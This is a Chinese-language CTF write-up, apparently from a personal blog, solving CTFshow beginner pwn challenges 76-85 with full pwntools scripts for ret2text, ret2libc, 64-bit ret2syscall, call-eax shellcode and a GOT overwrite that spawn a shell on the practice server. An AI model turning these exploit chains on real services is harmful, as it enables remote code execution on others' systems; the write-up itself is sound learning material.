CTFshow-Pwn入门栈溢出(76-79,81-85)

11月很忙,都是电子取证的比赛,还有很多学校组织的大赛,不知道能做几题,总归是不如10月这样子了,以后有时间确实还是该好好珍惜才是

接pwn76

然后一下子调到2026-3了,前边没怎么学pwn但是现在需要备战一下ciscn了,也不知道现在学有没有意义

pwn76

保护:

上个月我们知道了,在ida里可以看到下述内容

可以看到程序里就有现成的后门函数

我们只要能进到这个correct函数里,然后做到让input等于0xDEADBEEF就行了

我们理一下程序在干啥

一开始读取0x30以内的输入,然后进Base64Decode函数

函数执行后,解码出的原始数据长度保存在返回值 v7中,而解码后的数据本身则存放在由指针 v5所指向的内存位置里

在内部发生了这样子的事情,最后的v10会填充到v7之中

接着去进行长度校验与数据复制:程序检查解码后的数据长度是否大于0xC(即十进制的12)。如果超过12字节,就会输出 “Input Error!”。

只有长度不超过12字节时,程序才会将解码后的数据复制到一个全局变量input中。

最后进行验证

程序调用auth函数对复制到input中的数据进行验证。如果 auth函数返回1,则调用我们的后门函数

也就是让strcmp(“f87cd601aa7fedca99018a8be88eda34”, s2)

等于0,即使得s2和f87cd601aa7fedca99018a8be88eda34完全相同

而s2是v2的md5值

然而这个似乎无法逆向推出,因此这题是不能利用这个思路做的

在auth函数这边我们可以看到有个memcpy

这边的v4发现了栈溢出漏洞

我们输入4个字节就会导致栈溢出

这个之后我们可以直接跳到敏感函数的地方,当然也可以去迎合敏感函数对比条件

方法一我们选择直接跳到system函数,因此这边不应该是correct函数的位置,而是这一行system的位置

system=0x08049284

我们先把溢出构造传到input里,然后再返回这个后门函数就好了

input=0x0811EB40

所以写得exp,当然考虑到这边代码后边会进行一次base64解码,我们需要在传入的时候先base64加密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
import base64

context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28302)

io.recvuntil(b"CTFshow login:")
system=0x08049284
inp=0x0811EB40
payload=b'aaaa' + p32(system) + p32(inp)
payload=base64.b64encode(payload)


io.sendline(payload)
io.interactive()

当然方法二我们也可以选择直接把input该有的内容输入后返回到correct函数,同样可以得到flag

因为这个输入超过了4字节,同样有溢出,否则好像不太行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import base64

context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28302)
io.recvuntil(b"CTFshow login:")

inp=0x0811EB40
correct=0x0804925F

payload=p32(0xDEADBEEF) + p32(correct) + p32(inp)
payload=base64.b64encode(payload)


io.sendline(payload)
io.interactive()

pwn77

保护:

只开了NX,问题不大,64位的

main函数首先是这样子,main函数几乎没什么,用了puts函数输出了没啥意义的东西,然后alarm限制了一下运行时间在48秒内

来看ctfshow函数,这边是有个检测器,检测到ASCII为10的就break,逐个检查

也就是检查到换行符就结束

这边字符串v2的大小设置为了267,但是理论上while函数可以一直读下去

所以v2这存在栈溢出

padding=0x110+8

但这只是理论距离,真正利用的时候不是直接填满0x118字节

因为栈上还有char c在rbp-0x5,还以int i在rbp-0x4

正确的利用点是b’A’*0x10c+b’\x18’

这一题发现不存在system函数和shell,因此本题必须利用libc,我们得算基址了

这边存在fgetc函数,我们利用fgetc的真实地址减去偏移地址得到基地址,其实就是利用这个函数在got的真实地址,减去了其偏移地址,最后得到基地址

这边前边有一个T^T,用的是puts函数,我们可以利用这个来泄露出fgets的got真实地址

1
2
3
4
elf = ELF("./pwn77")
puts_plt = elf.plt['puts']
fgetc_got = elf.got['fgetc']
main=elf.sym['main']

所以我们第一个payload用于利用puts函数泄露fgetc函数的真实地址

查一下rdi之类的然后发第一次了

1
2
3
4
5
6
7
8
9
prefix = b'A' * 0x10c + b'\x18'
payload = prefix
payload += p64(pop_rdi)
payload += p64(fgetc_got)
payload += p64(ret)
payload += p64(puts_plt)
payload += p64(main)
io.sendlineafter("T^T\n", payload)
fgetc = u64(io.recv(6).ljust(8, "\x00"))

就是先溢出,然后把fgetc的got地址作为puts函数的参数给输出出去,最后返回到main函数

但是搞半天发现LibcSearcher有一大堆库,我们可以双泄露来定位Libc

1
2
3
4
5
fgetc_addr = leak(fgetc_got)
puts_addr = leak(puts_got)

libc = LibcSearcher("fgetc", fgetc_addr)
libc.add_condition("puts", puts_addr)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher import *

context(arch='amd64', os='linux', log_level='debug')

io = remote("pwn.challenge.ctf.show", 28290)

puts_plt = 0x400590
puts_got = 0x602018
fgetc_got = 0x602020
main = 0x400833
pop_rdi = 0x4008e3
ret = 0x400576

prefix = b'A' * 0x10c + b'\x18'

def leak(addr):
payload = prefix
payload += p64(pop_rdi)
payload += p64(addr)
payload += p64(ret)
payload += p64(puts_plt)
payload += p64(main)

io.sendline(payload)
data = io.recvuntil(b"T^T\n", drop=False)
leak_line = data.split(b'\n')[0]
return u64(leak_line.ljust(8, b'\x00'))

io.recvuntil(b"T^T\n")

fgetc_addr = leak(fgetc_got)
log.success("fgetc_addr = " + hex(fgetc_addr))

puts_addr = leak(puts_got)
log.success("puts_addr = " + hex(puts_addr))

libc = LibcSearcher("fgetc", fgetc_addr)
libc.add_condition("puts", puts_addr)

libc_base = fgetc_addr - libc.dump("fgetc")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

log.success("libc_base = " + hex(libc_base))
log.success("system = " + hex(system_addr))
log.success("binsh = " + hex(binsh_addr))

payload = prefix
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()

ctfshow{eb7c0900-3781-4364-a388-f6125b517740}

pwn78

说是补发的64位ret2syscall,在pwn71我们就已经学过了ret2syscall,只是很久没做过了,大概看了看就是一个填燃油然后调好各种设置最后直接一键起飞的意思

先看看保护吧

可以看到还是很经典的ret2syscall特有的静态

既然这题说是64位的,那么先看看这和32位的区别

32位的ret2syscall通常会跳到int 0x80启动,而64位的一般是要调到syscall,这是x86_64 Linux标准系统调用入口

还有就是系统调用号不一样,32位系统调用号在eax,然后execve的syscall number一般是11

而64位的系统调用号在rax,execve的syscall number一般是59

其实上边都是小事,重要的是参数传递寄存器不同

32位参数如下:

1
2
3
4
5
6
ebx = arg1
ecx = arg2
edx = arg3
esi = arg4
edi = arg5
ebp = arg6

如果做 execve("/bin/sh", 0, 0),一般是:

1
2
3
4
5
eax = 11
ebx = binsh_addr
ecx = 0
edx = 0
int 0x80

典型链子:

1
2
3
4
5
6
7
8
9
payload += p32(pop_eax)
payload += p32(11)
payload += p32(pop_ebx)
payload += p32(binsh)
payload += p32(pop_ecx)
payload += p32(0)
payload += p32(pop_edx)
payload += p32(0)
payload += p32(int_0x80)

64位则是这样子:

1
2
3
4
5
6
rdi = arg1
rsi = arg2
rdx = arg3
r10 = arg4
r8 = arg5
r9 = arg6

如果做 execve("/bin/sh", 0, 0),一般是:

1
2
3
4
5
rax = 59
rdi = binsh_addr
rsi = 0
rdx = 0
syscall

注意这里第四个参数不是 rcx,而是 **r10**。这点很容易踩坑。

64位典型链子:

1
2
3
4
5
6
7
8
9
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

还有就是64位需要注意一下这个栈对齐,别的也没啥了

所以我们主要是跟着这个走,我们对这些内容利用ROPgadget进行搜集

1
2
3
4
ROPgadget --binary ./pwn78 --only "pop|ret"|grep rax
ROPgadget --binary ./pwn78 --only "pop|ret"|grep rdi
ROPgadget --binary ./pwn78 --only "pop|ret"|grep rsi
ROPgadget --binary ./pwn78 --only "pop|ret"|grep rdx

得到寄存器地址

1
2
3
4
rax = 0x46b9f8
rdi = 0x4016c3
rsi = 0x4017d7
rdx = 0x4377d5

差个偏移量,查一下

1
2
3
4
5
chmod 777 pwn78
gdb pwn78
cyclic 200
r < <(echo 'xxx...')
cyclic -l waaa

崩在ret的时候RIP还没有变成垃圾值,所以我们要查RSP指向的返回地址内容,可以看到偏移量是offset = 88

接下来寻找/bin/sh的地址以及syscall的地址即可

1
2
ROPgadget --binary "pwn78" --string "/bin/sh"
ROPgadget --binary "pwn78" --string "syscall"

发现找不到,我们得想想别的办法

先找syscall

首先我们要明确这边的syscall不是那种看见就能用的

应该是syscall ; ret的格式

这样子的话就能执行完返回了

因此直接搜显然不太合适

而在x86_64,机器码就是下边这个

1
2
3
4
syscall : 0F 05
ret : C3
所以可以得到syscall ; ret : 0F 05 C3
ROPgadget --binary pwn78 --opcode 0f05c3

这边就是我们要找的地方,上边5个地址都能用,我们随便选取一个即可

syscall = 0x45bac5

只差最后一步去找到/bin/sh的地址了

很可惜,搜索之后明显发掘了,没有现成的/bin/sh

所以我们必须自己去写这个了,毕竟要写,所以要找一个可写内存,接着调一个输入函数,比如gets,写进去之后再让rdi指向那边就好了

思路明确,我们先找可写内存

shift加f7查看段

我们找bss段,这边稳定可写,一般还是空的,很适合放/bin/sh

0x6c1c40 ~ 0x6c4158

我们在这区间随便找一个地方,比如bss = 0x6c2000或者bss = 0x6c3000都可以,我们就挑bss = 0x6c2000了

我们接下来只需要去找gets的plt地址,构造gets(bss_addr)

1
objdump -t ./pwn78 | grep ' gets$'

所以gets = 0x4086a0

大概逻辑就是先进行一个gets(bss),然后再去execve(bss,0,0)

所以我们的payload就是构造这样子两个函数

一开始先rdi传参把bss这个地址参数传给gets,好在后边输入

最后sendline完payload 就可以直接sendline/bin/sh,这个会进入bss,之后再直接把bss作为参数放到rdi即可

这边注意的是由于gets会直接自动补齐\x00,所以这边直接发/bin/sh都行

之后我们即可编写代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context(os="linux", arch="amd64", log_level="debug")

io = remote("pwn.challenge.ctf.show", 28263)

offset = 0x58

rax = 0x46b9f8
rdi = 0x4016c3
rsi = 0x4017d7
rdx = 0x4377d5

gets_addr = 0x4086a0
bss = 0x6c2000
syscall = 0x45f135

payload = b"A" * offset

payload += p64(rdi)
payload += p64(bss)
payload += p64(gets_addr)

payload += p64(rax)
payload += p64(59)
payload += p64(rdi)
payload += p64(bss)
payload += p64(rsi)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(syscall)

io.sendline(payload)
io.sendline("/bin/sh")


io.interactive()

即得flag

但是我在网上看见别人不是这样子写的,他们省略了gets这一步,用的是read的系统调用号0

他们让rax为0,由此调用read函数

read函数三个参数,所以他们用了rdi、rsi、rdx分别传参

最后等价于read(0,bss,0x10),不过read的话就需要在最后自己加上\x00了

这一个法子好在两次调用了ret2syscall,而且可以避免了没有gets这个glibc用户态函数的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(os="linux", arch="amd64", log_level="debug")

io = remote("pwn.challenge.ctf.show", 28242)

offsets = 0x58
rax = 0x46b9f8
rdi = 0x4016c3
rsi = 0x4017d7
rdx = 0x4377d5
bss = 0x6c2000
syscall = 0x45F135
payload = b'a' * offsets + p64(rax) + p64(0)
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(bss)
payload += p64(rdx) + p64(0x10)
payload += p64(syscall)

payload += p64(rax) + p64(59)
payload += p64(rdi) + p64(bss)
payload += p64(rsi) + p64(0)
payload += p64(rdx) + p64(0)
payload += p64(syscall)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

pwn79

32位,看看保护:

没开什么保护,我们考虑用shellcode最后得到shell

1
shellcode=asm(shellcraft.sh())

先静态分析,可以看到这边的栈溢出很明显,利用这个strcpy复制粘贴即可构造栈溢出

可以看到最后strcpy会把数据从input复制到buf,然后buf的位置是ebp-0x208,到返回地址的距离就是0x208+4,也就是0x20c的栈溢出长度

我们当然也可以直接动调调试栈溢出长度来

1
2
3
4
5
6
chmod 777 pwn79
gdb pwn79
cyclic 600
r < <(echo 'xxx...')
info registers eip
cyclic -l 0x66616167

可以看到栈溢出都是0x20c

构造完了栈溢出之后就是要想如何执行站栈上的shellcode了,为了直接把这个shellcode送到缓冲区,我们的偏移可以通过下边这样子实现

1
2
payload += shellcode
payload += 'a'*(0x20c-len(shellcode))

这样子就能正好通过这俩填到返回地址的位置了,那这个返回地址又在哪呢

可以看到啊,返回值是目标缓冲区的地址dest

而函数的返回值会放到寄存器eax里,所以eax里存的是buf的地址,而buf里边是我们塞进去的shellcode

所以我们现在只需要覆盖返回地址为call eax即可,这样子我们就可以返回到塞着shellcode的buf地址

找一下call eax的位置就好了

1
ROPgadget --binary ./pwn79 --only "call|eax"

确实是有嗷,没问题

地址为0x080484a0

所以可以开始写代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote("pwn.challenge.ctf.show", 28300)

calleax = 0x080484a0
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'A'*(0x20C-len(shellcode))
payload += p32(calleax)

io.recvuntil("Enter your input:")
io.sendline(payload)

io.interactive()

得到flag,难度尚可的一道题

pwn81

pwn80盲打的太难了,看wp各个都需要探测,还是先放一放吧

保护:

这边主要是开了PIE,不好直接用地址

先定位main函数,这边可以看到很关键的语句

1
2
3
handle = dlopen("libc.so.6", 0x100);
v3 = dlsym(handle, "system");
printf("%p\n", v3);

这边加载了libc.so.6,然后直接就把system的实际地址打印出来了

等于直接就给了libc泄露,直接打印了system_addr(主要是哪一个libc.so.6,别用错了最后写脚本的时候)

1
2
system_addr = libc_base + system_offset
-->libc_base = system_addr - system_offset

所以我们可以轻而易举得到libc_base,只需要读一下就好了

1
2
3
io.recvuntil("Maybe it's simple,O.o\n")
system = int(io.recvline(),16)
libcbase = system - libc.sym['system']

也是得到了libc_base了

找一下溢出点

还是很明显的一个栈溢出,这边直接0x80+8的溢出量即可

接下来就是构造system(“/bin/sh”)了

/bin/sh很好提取

1
bin_sh_addr = libc_base + next(libc.search('/bin/sh')) #找到的第一个/bin/sh字符串

接下来要搞gadget了,我们需要pop rdi和ret,一个传参一个修补栈对齐,在libc里边找然后加libc_base即可

1
ROPgadget --binary "libc.so.6" --only "pop|ret"

所以可以写代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(arch='amd64',os='linux',log_level="debug")
io=remote("pwn.challenge.ctf.show",28140)
libc=ELF('./libc.so.6')
padding=0x80+8

io.recvuntil("Maybe it's simple,O.o\n")
system = int(io.recvline(),16)
libc_base = system - libc.sym['system']

bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
pop_rdi = libc_base + 0x2164f
ret = libc_base + 0x8aa

payload = b'A'*padding
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(ret)
payload += p64(system)

io.sendline(payload)
io.interactive()

得到flag

pwn82

这边写的很明确了是NO-RELRO,那可以做的事情很多了,我们还是看看保护

保护:

只开了NX,不能用shellcode,别的都能用了,还是32位的

这边GOT可写,意味着我们可以把各种@got改成system,利用面更广,当然了直接无视这一条用ret2libc做也没什么问题,都能打通,我们先这样子跑一次吧

跑ret2libc就很简单了,首先找到溢出点

padding = 0x6C+4

接下来找到libc_base即可

main函数用了write函数,我们可以利用这个泄露libc地址

直接32位传参来泄露write的got表地址

1
2
write_addr = libc_base + write_offset
-->libc_base = write_addr - write_offset

所以我们主要是想要构造这样子的一个函数,把write@got这个地址的4字节输出到标准输出,这4个字节也就是libc中write的真实地址

1
write(1, write_got, 4)

需要write_plt和write_got即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
elf = ELF('./pwn82')
write_plt = elf.plt['write']
write_got = elf.got['write']
show_addr = elf.sym['show']
padding = 0x6C+4

payload = b'A'*padding
payload += p32(write_plt)
payload += p32(show_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)

io.sendline(payload)
write_addr = u32(io.recvuntil('\xf7'))

这样子就能得到libc_base了,之后就什么都不缺了

直接放一个exp吧,后边都是正常流程了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level="debug")
io=remote("pwn.challenge.ctf.show",28291)
elf = ELF('./pwn82')

write_plt = elf.plt['write']
write_got = elf.got['write']
show_addr = elf.sym['show']
padding = 0x6C+4

payload = b'A'*padding
payload += p32(write_plt)
payload += p32(show_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)

io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)
write_addr = u32(io.recvuntil('\xf7'))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')

system = libc_base+libc.dump('system')
bin_sh = libc_base+libc.dump('str_bin_sh')

payload2 = b'A'*padding
payload2 += p32(system)
payload2 += p32(show_addr)
payload2 += p32(bin_sh)

io.sendline(payload2)
io.interactive()

奇怪的报错,不知道为什么,明明有但是说找不到,那我们就改固定地址吧write_plt = 0x080483a0

当然了,上边都是ret2libc的利用方式,我们并没有用到No RELRO的特性,也就是GOT可写的特性

这边我们注意到有一个strlen的函数,我们可以修改这个got表改为system,都是只有一个参数,很合适

于是:

1
strlen@plt(bin_sh_addr) --> system(bin_sh_addr)

这需要我们先泄露write的真实地址,然后算出system地址,之后利用read@plt来改写got表,最后调用就好了

前边泄露地址一样的,就不写了

但第二步变了,payload2需要我们构造这样子的代码

1
2
read(0, strlen_got, 4);
return show;

也就是下边这样子的payload

1
2
3
4
5
6
payload2 = b'A'*padding
payload2 += p32(read_plt)
payload2 += p32(show_addr)
payload2 += p32(0)
payload2 += p32(strlen_got)
payload2 += p32(4)

发送之后会堵塞在read函数,等待我们输入4字节

我们可以直接发送system_addr到strlen_got来完成GOT覆写

最后就可以直接构造代码了

1
2
3
4
payload3 = b'A'*padding
payload3 += p32(strlen_plt)
payload3 += p32(show_addr)
payload3 += p32(bin_sh)

当然了,比ret2libc麻烦多了,而且里边都算出这样子了其实老早可以用ret2libc了,但是这样子可能更能体现题目一点吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level="debug")
io=remote("pwn.challenge.ctf.show",28291)
elf = ELF('./pwn82')

write_plt = 0x080483a0
write_got = elf.got['write']
strlen_got = elf.got['strlen']
strlen_plt = 0x8048380
show_addr = elf.sym['show']
read_plt = 0x8048370
padding = 0x6C+4

payload = b'A'*padding
payload += p32(write_plt)
payload += p32(show_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)

io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)
write_addr = u32(io.recvuntil('\xf7'))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')

system = libc_base+libc.dump('system')
bin_sh = libc_base+libc.dump('str_bin_sh')

payload2 = b'A'*padding
payload2 += p32(read_plt)
payload2 += p32(show_addr)
payload2 += p32(0)
payload2 += p32(strlen_got)
payload2 += p32(4)
io.sendline(payload2)
io.send(p32(system))

payload3 = b'A'*padding
payload3 += p32(strlen_plt)
payload3 += p32(show_addr)
payload3 += p32(bin_sh)

io.sendline(payload3)

io.interactive()

同样能出啊,就是很麻烦,真的很麻烦,不如直接ret2libc

pwn83

保护:

跟上题比就是不能改GOT表,不过上一题我们也看出来了,不如直接ret2libc呢(

来看看吧

和上一题几乎一模一样啊,我们直接用上一题ret2libc的脚本就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level="debug")
io=remote("pwn.challenge.ctf.show",28121)
elf = ELF('./pwn83')

write_plt = 0x080483c0
write_got = elf.got['write']
show_addr = elf.sym['show']
padding = 0x6C+4

payload = b'A'*padding
payload += p32(write_plt)
payload += p32(show_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)

io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)
leak = io.recvn(4)
write_addr = u32(leak)
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')

system = libc_base+libc.dump('system')
bin_sh = libc_base+libc.dump('str_bin_sh')

payload2 = b'A'*padding
payload2 += p32(system)
payload2 += p32(show_addr)
payload2 += p32(bin_sh)

io.sendline(payload2)
io.interactive()

确实一模一样

pwn84

保护:

不会就只是改了个64位吧(还真是,懒得搞了直接ret2libc吧)

上来栈溢出还是很明显的padding=0x70+8

主程序其实和32位的差不了多少,就是传参顺序变了,再注意一下栈对齐即可

查一下,write有三个参数,得要pop rdi、pop_rsi_r15、pop_rdx和ret

1
ROPgadget --binary "pwn84" --only "pop|ret"

所以pop_rdi = 0x400773

ret = 0x4004c6

pop_rsi_r15=0x400771

这边没看见rdx,不过我们之前肯定会先调用栈溢出的read(0,buf,0x100),而调用read前会出现mov rdx,0x100

所以rdx默认就是0x100,问题不大,后边截断就是了

1
2
3
4
5
payload = b'a' * padding
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload += p64(write_plt)
payload += p64(show_addr)

直接写exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

io = remote("pwn.challenge.ctf.show",28153)
elf = ELF('./pwn84')

pop_rdi = 0x400773
pop_rsi_r15 = 0x400771
ret = 0x4004c6

write_plt = 0x04004E0
write_got = elf.got['write']
show_addr = elf.sym['show']

padding = 0x70 + 8

payload = b'A' * padding
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload += p64(write_plt)
payload += p64(show_addr)

io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)

write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = b'A' * padding
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)

io.sendline(payload2)
io.interactive()

ctfshow{8c3f56b2-e53c-409b-a67e-520a92d11d6a}

pwn85

盲猜和pwn84差不多

真的是差不多的,除了下边这个不一样了(还有write的plt地址也变了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

io = remote("pwn.challenge.ctf.show",28284)
elf = ELF('./pwn85')

pop_rdi = 0x4007a3
pop_rsi_r15 = 0x4007a1
ret = 0x4004fe

write_plt = 0x0400510
write_got = elf.got['write']
show_addr = elf.sym['show']

padding = 0x70 + 8

payload = b'A' * padding
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload += p64(write_plt)
payload += p64(show_addr)

io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)

write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = b'A' * padding
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)

io.sendline(payload2)
io.interactive()

别的一模一样直接成了

ctfshow{0087fe1e-001f-4b4d-b8b7-2c9c7d827741}

后边几道稍微有点难,花式栈溢出,先放一下吧,先跳到格式化字符串看一看,之后回来再看这些花式栈溢出


CTFshow-Pwn入门栈溢出(76-79,81-85)
https://mei-you-qian.github.io/2026/03/16/CTFshow-Pwn入门栈溢出(76-79,81-85)/
作者
Meiyouqian
发布于
2026年3月16日
许可协议